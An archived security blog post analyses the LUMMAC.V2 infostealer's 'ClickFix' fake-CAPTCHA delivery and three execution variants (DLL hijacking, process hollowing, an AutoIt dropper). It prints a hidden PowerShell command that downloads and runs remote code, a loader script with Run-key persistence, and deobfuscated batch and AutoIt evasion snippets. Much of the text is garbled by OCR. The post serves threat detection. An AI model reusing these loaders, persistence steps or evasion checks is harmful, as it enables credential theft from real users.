https://www.googlecloudcommunity.com /gc/Community-Blog/Finding-Malware-Unveiling-LUMMAC-V2-with-Google-Security/ba-p/899110

Finding Malware: Unveiling LUMMAC.V2 with Google Security
Operations - Part 1

By praveethdsouza

Published: 2025-04-30 - Archived: 2026-04-05 14:55:38 UTC
Welcome to the Finding Malware Series

The "Finding Malware" blog series is authored to empower the Google Security Operations community to detect
emerging and persistent malware threats. Our post dives deep into the LUMMAC.V?2 malware family and the
detection opportunities available within Google Security Operations (SecOps). Happy hunting!

About LUMMAC.V2

Also known as: Lumma, LummacZ2, Lummastealer

LUMMAC.V2 is a rework of the LUMMAC credential stealer written from C to C++, with a full-fledged binary,

morpher. LUMMALC.V2 is an infostealer malware that targets a wide range of applications, including browsers,

crypto wallets, password managers, remote desktop applications, email clients, and instant messaging
applications. It steals information such as credentials, logins, emails, personal and system details, screenshots, and

cookies, subsequently sending this data over HTTP in a ZIP archive.

LUMMAC.V2 is a prevalent malware family often distributed via the “ClickFix” technique, a social engineering
method where victims are shown fake user verification CAPTCHA pages, tricking them into executing commands
(e.g. MSHTA or PowerShell) using the Windows Run dialog box. This action initiates the execution of a
PowerShell payload in the background hidden from the user. This blog focuses on the malware infection chain

detailing three variations to deliver LUMMAC.V2 and execute it on the host.

Malware Lifecycle
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Delivery, Execution, and Persistence

The infection begins with a simple internet search. Users searching for specific keywords, such as those related to
cracked software, popular movies, or the latest music releases encounter malicious links within their search

results. Clicking on one of these links redirects them to a fake "Verify You Are Human" CAPTCHA page.
This page prompts the user to perform the following actions, mimicking the security check:

e Press Windows button + R (opens the Run dialog box)

e Press CTRL + V ( pastes a command that has been secretly copied to the user's clipboard)

e Press Enter (executes the command)
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The figure below shows an example of the deceptive page in action, while figure 2 reveals the underlying

website’s source code.
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Figure 1: Fake captcha website
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Figure 2: Source code of the Fake captcha
Here's the PowerShell command that's executed behind the scenes:

PowerShell.exe -W Hidden -command $url = 'https://finalstepgo[.]Jcom/uploads/pnk3.txt'; $response = Invoke-

WebRequest -Uri $url -UseBasicParsing; $text = $response.Content; iex $text
Figure 3. Copied PowerShell Command

This command uses the Invoke-WebRequest PowerShell cmdlet to download a file called pnk3.txt from a

malicious website. The -W Hidden parameter ensures the PowerShell command will run in the background
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without any console window being displayed to the user. The command also reads the contents of the downloaded

pnk3.txt into memory and executes it using the Invoke-Expression (iex) cmdlet.
The downloaded pnk3.txt file contains the following:
$PbnjVqGN = 'https://finalstepgo[.Jcom/uploads/pnk33.zip';
$SdpCphfa = $env:APPDATA + '\fNeizxDR';
$WSRtQbHu = $env:APPDATA + '\vm8D2hLX.zip';
$SWEcmPEsQ = $SdpCphfa + '\Perspective.exe';
if (- not (TEst - paTh $SdpCphfa)) {
New - ITeM - Path $SdpCphfa - ItemType Directory
k
STArT - BItSTrANSFEr - Source $PbnjVqQGN - Destination $WSRtQbHu;
EXPaNd - ArCHIVE - Path SWSRtQbHu - DestinationPath $SdpCphfa - Force;
RemovE - itEM $WSRtQbHu;
StARt - PrOcEss $WEcmPEsQ;

NEW - iTemPRopeRty - Path '"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' - Name
'tElkoeXI' - Value SWEcmPEsQ - PropertyType 'String';

Figure 4: Malicious Powershell script
This PowerShell script is a malicious loader designed to execute in memory and perform the following:

[t begins by downloading a malicious ZIP archive from a remote server using the Start-BitsTransfer
PowerShell command. Subsequently, a directory is created within the user's AppData folder to serve as the
destination for the extracted files.

o The downloaded ZIP file is then extracted using the Expand-Archive command, and its contents are saved
into the newly created directory within the AppData folder.

o After the extraction is complete, the script deletes the original ZIP file, further minimizing traces of the
attack.

o Following the extraction, the script executes the malicious program, named Perspective.exe, using the
Start-Process command.

e To ensure persistence, the script adds a registry entry under
HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. This registry entry, named tE1koeXI,

points to the path of the malicious executable, Perspective.exe, ensuring it is executed upon user logon.

Mandiant has discovered several variations of this malicious PowerShell script loader. Once executed, these

loaders can initiate a variety of attacks to execute LUMMAC.V2, including:
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e DLL Hijacking: Exploiting legitimate programs by introducing a malicious DLL with the same name that
is loaded preferentially over the legitimate one.

e Process Hollowing: Injecting malicious code into legitimate processes to conceal their activity.

e Autolt-based Dropper: Utilizing the Autolt scripting language to obfuscate and execute the
LUMMAC.V2 information stealer.

Variation 1: DLL Hijacking

This attack exploits a legitimate executable, vulnerable to DLL search order hijacking to execute the
LUMMAC.V2 malware.

In this variation, a malicious PowerShell script loader initiates the process by downloading tmp.txt.zip, an archive

containing the files Setup.exe and a specially crafted malicious DLL, tak_deco_lib.dll, as illustrated in the Figure
5.

Lumm_DLL

Marne - Date rmodified Type

l locale 11142024 @11 P4 File folder
l IV A472024 811 PR File folder
l plugins / £11 P File folder

B

£:05 P

£:053 PM Application
05 PR Application extens..,
B .cruntime140.4d1 / : Application extens..,

Figure 5: Archive containing malicious payload

When executed, Setup.exe intends to load a legitimate DLL but, due to the vulnerability, it inadvertently loads the
malicious tak_deco_lib.dll instead. This is clearly demonstrated in the figure below, where Setup.exe

successfully loads the malicious DLL from the same directory, ultimately executing the LUMMAC.V2 malware.
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File Edit Ewvent Filter Tools Options Help
] -
EELNRIN YA & F L/ KeD ol
Time ... Process Name PID  Operation Path Result Detail

10:47.... #Setup.exe 8112 ¢ Load Image C:AUsersMEUser\DesktophLumm_DLL\Setup.exe SUCCESS Image Base: 0x140000000, Image Size: Dxc15
10:47.... #Setup.exe 8112 ' CreateFile C:AUsersMEUser\DesktophLumm_DLL SUCCESS Desired Access: Execute/Traverse, Synchroni;
10:47.... #Setup.exe 8112 ‘= CreateFile C:AUsers\EUser\DesktopiLumm_DLLAUXT heme. di NAME NOT FOUND Desired Access: Read Attributes, Disposition: C
10:47.... #Setup.exe 8112 % CreateFile C:AUsersMEUser\DesktophLumm_DLLWINSPOOL.DRY NAME NOT FOUND Desired Access: Read Attibutes, Dispasition: C
47.... #Setup.exe 8112 % CreateFile Ci\UsersMEU ser\DesktophLurmm_DLL\oledla.dl NAME MOT FOUND Desired Access: Read Attibutes, Disposition: C
#Setup.exe 8112 % Createfile C:\UsershEUser\DesktophLumm_DLL\w/IMMM.dIl NAME MOT FOUND Desired Access: Read Attnbutes, Disposition: C
#Setup.exe 8112 ‘= Createfile C:AUsershEUser\DesktophLumm_DLLAOLEACC. Il MAME NOT FOUND Desired Access: Read Attnbutes, Disposition: C
#Setup.ene 8112 ‘v CreateFile C:A\UsersMEUser\Desktop\Lumm_DLL\tak_deco_lib.dll SUCCESS Desired Access: Read Attributes, Disposition: C
8112 ‘v CreateFile C:\Users\EUser\Desktop\Lumm_DLL\tak_deco_lib.dll SUCCESS Desired Access: Read Data/List Directory, Exe
8112 & il C:\Users\EUser\Desktop\Lumm DLL\WINHTTP.dil NAME NOT FOUMD Desired A 3 Disposition: C

8112 d Image | C:\Users\EUser\Desktoph\Lumm_DLL\tak_deco_lib.dil SUCCESS e: 0x5e000

Legitimate binary successfully loading a malicious DLL

Figure 6: Delivery using DLL search order hijacking

Variation 2: Process Hollowing

Process hollowing is a multi-stage attack technique where malware hijacks a target process and replaces its
legitimate code with malicious code. Attackers use process hollowing for malware delivery because it allows them

to disguise their malicious code within a legitimate process, making it harder for security tools to detect.

In this variation of LUMMAC.V?2, a malicious PowerShell script loader drops and executes MyDockFinder.exe,
an in-memory dropper written in Go. MyDockFinder.exe uses process hollowing to compromise the legitimate
Windows process, BitlockerToGo.exe, by creating a new instance of BitlockerToGo.exe and replacing its

process memory with malicious code.

An analysis of the API calls and techniques involved in this process hollowing follows below:

MyDockFinder.exe CreateProcessW [ "C\Windows\BitLockerDiscoveryVolumeContents'\BitLockerToGo.exe”™, MULL, NULL TRUE 0.0060142
KERMELBASE.dII E‘---I‘-lt',-‘."rite'\o"irtuall‘.-lem-:ury [ 0x000002ac, (x00bBb 128, 0x01cff3ed, 4, NULL) STATUS_SUCCESS 0.0000037
MyDockFinder.exe MtGetContextThread ( Ox000002a8, 0w 1 STATUS_SUCCESS 0.0001136
MyDockFinder.exe MtReadVirtualMemory [ 0x000002ac, 0x00b8b008, Oxldclbeac, 4, (x04c0bead ) STATUS_SUCCESS 0.0000045
MyDockFinder.exe VirtualAllocEx [ 0x000002ac, w004 0, 413696, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_...  OxD0400000 0.0000409
MyDockFinder.exe NtWriteVirtualMemory [ 0x000002ac, 0x00b8b008, xl4clbebl, 4, Ixl4clbeb4 ) STATUS_SUCCESS 0.0000039
MyDockFinder.exe MtSetContextThread [ 000000238, Ox ] STATUS_SUCCESS 0.0000627
MyDockFinder.exe MtWriteVirtualMemory | 0x000002ac, Ox 1024, 0wldcObeb4d ) STATUS_SUCCESS 0.0000549

MyDockFinder.exe NtProtectVirtualMemory [ 0x000002ac, 0x00400000, 00000400, PAGE_READONLY, 0x04c0bedO ) STATUS_ACCESS... Onc0O000005 = The instr..  0.0000133
MtWriteVirtualMemory [ 0x000002ac, Ox00401000, O 308224, (n04c0beb4 ) STATUS_SUCCESS 0.0001777
MtProtectVirtualMemory [ 0x000002ac, 000401000, 0004000, PAGE_EXECUTE_READ, On04cObed0)  STATUS_ACCESS... Oxc0000005 = The instr..  0.0000108
00 0, 10752, Ox04clbebd ) STATUS_SUCCESS 0.0000152
)00, PAGE_READONLY, Ox04c0bed( ) STATUS_ACCESS.., Oxc0000005 = The instr.,,  0.0000102
00, 24064, 0x04clbebd ) STATUS_SUCCESS 0.0000255
MtProtectVirtualMemory [ 0x000002ac, 000! )0, 000010000, PAGE_READWRITE, (04 cObed0 ) STATUS_ACCESS... Owc0000005 = The instr...  0.0000096
NtWriteVirtualMemaory [ 0x000002ac, Ox00460000, 0x0506a000, 18944, (xl4clbebd ) STATUS_SUCCESS 0.0000310
MtProtectVirtualMemory [ 0x000002ac, 0x00460000, 000005000, PAGE_READOMNLY, Cnl4c0bed ) STATUS_ACCESS... Oxc0000005 = The instr...  0.0000131
MtResumeThread [ 0x000002a8, MULL) STATUS_SUCCESS 0.0000093

MyDockFinder.exe
MyDockFinder.exe
MyDockFinder.exe

MtWriteVirtualMemory | 0x000002ac, Ox0044d000, OxD

MyDockFinder.exe
MyDockFinder.exe

MyDockFinder. exe

MyDockFinder.exe
MyDockFinder. exe
MyDockFinder.exe

Figure 7: Process Hollowing on BitlockerToGo.exe

To extract the injected payload, a crucial point for interception is just before the malware writes its code into the

target process's memory using the NtWriteVirtualMemory API, as shown in the figure below:
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EEEE LN YD

- CWsersVEUser\Desktop\MyDockFinder.exe | = Time of Day Thread  Module AP @, Retun value Ermor Duration
1 EIISIIAM 2 KERNELBASE.dil it 0.0000105
2 G3432528AM 2 KERNELBASE.dIl 00000019
3 EIMISTIAM 2 KERNELBASE.dil } 0.0000043
4 G343BI20AM 2 KERNELBASE.dIl 1 00000050
H EI43BBIAAM 1 MyDockFinder exe yuolumeContents\Bitloc
6 G3438820AM 1 KERNELBASE.dIl 3 | STATUS SUCCESS 00000135
T 6 178 &AM 1 MyDockFinder exe 696, MEM_COMMIT | MEM_RE. 0.0000228
8 EIES.ITEAM 1 MyDockFinder.exe 4, ATUS_SUCCE 00000107
9 63510445 AM 1 MyDockFinder exe N e alMemory [ DxDO0
& 2P| Monitar: Breakpaint Befare Call ] kS & APIMoniter Memary Editor - u] x
NtWriteWirtualMemary | Ntdildil
Phadule: MyDackEinder, axe Process Iy 4612 fol
£ L @ Procese: The irstaler for MyDackFinder, (MyDockFinder, sxe) Process T 4612
Process: The instale for MyDockFinder, (MyDockFncer. ese) Thread ID: 7292 fo
0:054E0000 " - -
= wpe = e Name value G | et Vien:
1 HANDLE @ ProcessHandle 00000254 Bl &l Tt 1e
:l:; I:I2 -Il l:.g L‘ 14 ~
2 oD @ Basedddress 00400000 v
| Be 52 75 00 01 00 00 00 02 00 00 00 00 00 o0 o0 oo on cof AEE o
3 PoD d @ Buffer O0SABO00) | 200 00 00 00 00 40 00 00 00 00 00 00 00 00 00 0O 00 0O OO
VOID ¢ 00 00 00 00 00 00 0O OO 0O 0O OO 00 OO0 OO0
_ 0 0% 1f ba Os 00 b4 03 cd ZL b3 OL de
4 SZET # HumberOfBytesToWrite 1024 070 72 £ 67 72 61 6d 20 €3 £L e Ge
S PSZET 4 @ NumberOfBytesWritten Da0S091584 = 4 7 75 Be 10 63 e 0 44 4f 53 20 8d 5
0 45 00 00 de 01 04 00 %a 53 cd &
| 0 0 00 02 01 Ob 01 D= 0O OO0 b4 O
| H 2 00 a0 41 00 00 00 10 00 0O 00 OO O
| i o w0 02 D0 02 00 00 0E 0O OB 00 GO C
| i 0 00 00 00 00 50 06 00 00 04 00 O
# Modulg 00 00D 00 0F OO0 40 25 00 00 10 00 00 LO 0O DO 00 0O 10 O
Excepbon: Hone Last Error Code: | 0 4 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 OO M v
| code to be injected into the target process
Breskpoint Iemery Information L ==
[Agefore [Jafer [JOnEmor [JOnException  Ghbal » [stp cat Braak Contnus - Base: 0x05000000 Sze: 3O0ME  Type: MEM_FRIVATE  Stale: MEM_COMMIT
‘(9
Prewsctinn: | PAGE_READWRITE Update:

Figure 8: Extraction of the injected payload

The extracted payload, obtained from MyDockFinder.exe's memory at address 0x05480000, produced a SHA256
hash of 842639021ac1b780ee77e7c40ca98745677cbf156764201638b6d33ac8c6f548. This hash allowed for
further investigation, ultimately revealing the payload's identity as the LUMMAC.V2 malware as shown in the

figure below.

842639021ac1b780ee77e7c40ca98745677cbf156764201638b6d33ac8c6f548

N IERSE

overlay

o This analysis has been conducted using:

DETAILS RELATIONS BEHAVIOR

Malware config detection ©

This file contains malware configuration that may be attributed to

Figure 9: Identification of the extracted payload

Variation 3: AutolIt-based Dropper
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In this variation, a malicious PowerShell script loader drops and executes a binary file named Vkcm1ks1s3.exe,
which is a memory-only dropper implemented as a NSIS installation package. Upon execution, this binary drops
multiple malicious files into the user's temporary folder located at C:\Users<username>\AppData\Local\Temp,

as illustrated in the figure below:

This PC » Windowws 10(C:) » Users » |EUser » AppData » Local » Ternp »

Marne Date rmodified Type Size
| Beth 11772024 10:51 .. File BKR
| Elder TATA024 1051 ., File 266 KB
| Foundation NMATRIZATI0E .. File 75 KB
_| Franchise MAT202A1057 .. File 47 KB
| Guest 114772024 10:51 .. File 97 kB
| Hudson TATAE024 1051 ., File M KR
| Morthwest 117720241051 ., File 17 kKB
| Silence 11A77202410:51 .. File S3 KB
| Suddenly 11772024 10:51 .. File B4 KB
| Transfer 11772024 10051 ... File 56 KB

Figure 10: Files dropped by the malware
Vkcmilksls3.exe then executes the command to rename the Northwest file to Northwest.bat and run it:
"C:\Windows\System32\cmd.exe" /c copy Northwest Northwest.bat & Northwest.bat

The Northwest.bat is a heavily obfuscated Windows batch file that once decoded, contains the following:

et Cable=Y
et Require=q

NCT=Permanent.pif
jJgBvUTNMyahDmpGgfTNcnvh=
| findstr /I é & if not errorlevel 1 ping -n 186 127.0.0.
15
rorlevel 1 Set JiOCLEaNCT=AutoT3. et jJgBvUTNMyahDmpGgfTNcnvh=.a3

Beth > 374415\Permanent.pif

..\Suddenly + ..\Guest + ..\Foundation + ..\Silence + ..\Transfer + ..\Hudson + ..\Franchise A.a3x
nt.pif A.a3x

choice /dy /t 5

Figure 11: Deobfuscated Northwest.bat file
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This batch script is designed to evade detection and execute a malicious payload:

e Obfuscation: The script hides its true commands using Set command variable assignments.
e Anti-Analysis Checks:

o It scans for security applications like Webroot SecureAnywhere and Quick Heal AntiVirus. If
found, it initiates 186 pings to the loopback address.

o Tt also checks for Avast Antivirus, AVG Antivirus, Bitdefender, Norton Security, and Sophos
Endpoint Defence Software. If detected, it sets variables like Permanent.pif to AutoIT.exe and
JgBvUTNMyahDmpGgfTNcnvh to .a3x, attempting to replace original filenames to evade
detection.

e Payload Delivery:

o It creates a folder named 374415.

o It uses findstr with the /V option to filter out lines containing the string
"CowReboundHeadingRedeem" from a file named Beth and redirects the output to Permanent.pif.

o It uses copy /b to append the contents of Elder to Permanent.pif (located in the 374415 directory),
after appending the contents of Elder, Permanent.pif is a legitimate Autolt binary.

o It navigates to the 374415 directory and concatenates files Suddenly, Guest, Foundation, Silence,
Transfer, Hudson, and Franchise into A.a3x, an obfuscated Autolt script.

o It executes the Autolt script A.a3x using the Autolt binary Permanent.pif with start /I.

e Delay
o It uses the Choice command to introduce a 5-second delay before exiting, allowing the payload to

execute.

Mandiant deobfuscated the Autolt script (illustrated in the figure below). This script is a memory only dropper for

the Infostealer LUMMAC.V2.
The script initiates its execution with a series of anti-analysis checks:

e Sandbox Evasion: It checks the host computer's name against the known AV emulators like tz
(Bitdefender), NfZtFbPfH (Kaspersky), and ELICZ (AVG), and checks for the username test22,
commonly found in analysis setups.

o Antivirus Evasion: It specifically targets Avast Antivirus by checking if the avastui.exe process is
currently running.

"COMPUTERNAME") ? (Call("wi all({"AutoItWinGetTit 1)) (Opt{"TrayIconHide", 1))
"NTZtFbPfH") 7 (Call(" e, t i it (Opt("TrayIconHide", 1))
= "ELICZ") ? (Call{"winClose", Call("AutoItWin it Opt{"TrayIconHide", 1})

Call{"EnvGet", "USERNAME") 'test22") 7 (Call("winClose", Call("AutoItl etTitle"))) : (Opt("TrayIconHide", 1)
Call("ProcessExists", "avastu )} ? KEEPSOUTHEAST(1 : (Opt("TrayIconHide", 1))

unc COSTSANYWAYPMC($MALDIVESDECENTBARRIERSTRACE, $EQUATIONHE)
)

SPACKETSLIBERALKANSASEXISTS = Execute("@Auto
If $PACKETSLIBERALKANSASEXISTS Then
Local $POEMSADVANCEDPENINSULABLVD =
¢ 98554889C84889D54989CA4531C95756534883ECO8CTA 741¢ 5884A084183C1014983C2014181F908 S5EB488DB90G
$POEMSADVANCEDPENINSULABLVD &=
83C201EBC44883C4085B5E5F5DC389CA56534883EC084585C0448611448849047E4E4183E8014A8D7402014183C2014181E2FFO0 04963DAOFBE44190848
Else

Figure 12.1: Sandbox and Antivirus Evasion
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e Anti-Debugging: A time-based check using the GetTickCount API is employed to detect if the script is

being run in a debugger or analyzed step-by-step.

Func KEEPSOUTHEAST ($FABULOUSCELEBRATEWATSON
REBASELINECONTACT = D 32 g g", "GetTic!
ernel32.dll", WOR ok USCELEBRA
long

$EBAYMOORE

<= $FABULOUSCELEBRATEWATSONLIS) Then Exit]

Figure 12.2: Anti-Debugging

o Simulated Internet Detection: It pings an invalid domain
(HfhrdyrpMfGsKgEBCKTWjnP.HfhrdyrpMfGsKgEBCKTWjnP) to ensure it's not running in an
isolated environment with fake internet services.

« If any of the above checks are triggered, the script terminates.

e The script deletes the original Autolt script file (A.a3x) from the disk.

FileDelete("A")
[(Ping("HfhrdyrpMfGsKgEBCKTW]nP.HfhrdyrpMfGsKgEBCKTWINP", 1860) <> @) ? (Call{"winClose", Call{"AutoItwinGetTitle"))) : (Opt("TrayIconHide", 1))

$VALLEYDEAFTRIBESPRENUM = @

Figure 12.3: Simulated Internet Detection and script deletion

Once the initial anti-analysis checks are passed, the script proceeds to construct its encrypted payload from a hex-
string hardcoded within the script. To ensure compatibility, the script determines the process architecture (32-bit or
64-bit) and utilizes the appropriate shellcode to copy and decrypt the hex-string into a designated memory buffer.
The script employs the RtIDecompressFragment API to decompress the payload, which was compressed using

the LZNT1 algorithm, before executing it in the memory.

The final payload executing in memory is identified to be LUMMAC.V2 malware.

Having detailed the intricate delivery, execution, and persistence mechanisms of LUMMAC.V2 in Part 1, we now
transition from how this potent infostealer establishes a foothold to understanding its communication and data

exfiltration capabilities. Part 2 will thoroughly examine LUMMAC.V2's network communication, from its initial

C2 server reconnaissance and sophisticated data staging to the methods it employs for exfiltrating stolen sensitive

information.

Source: https://www.googlecloudcommunity.com/gc/Community-Blog/Finding-Malware-Unveiling-LUMMA C-V2-with-Google-Security/ba-

p/899110
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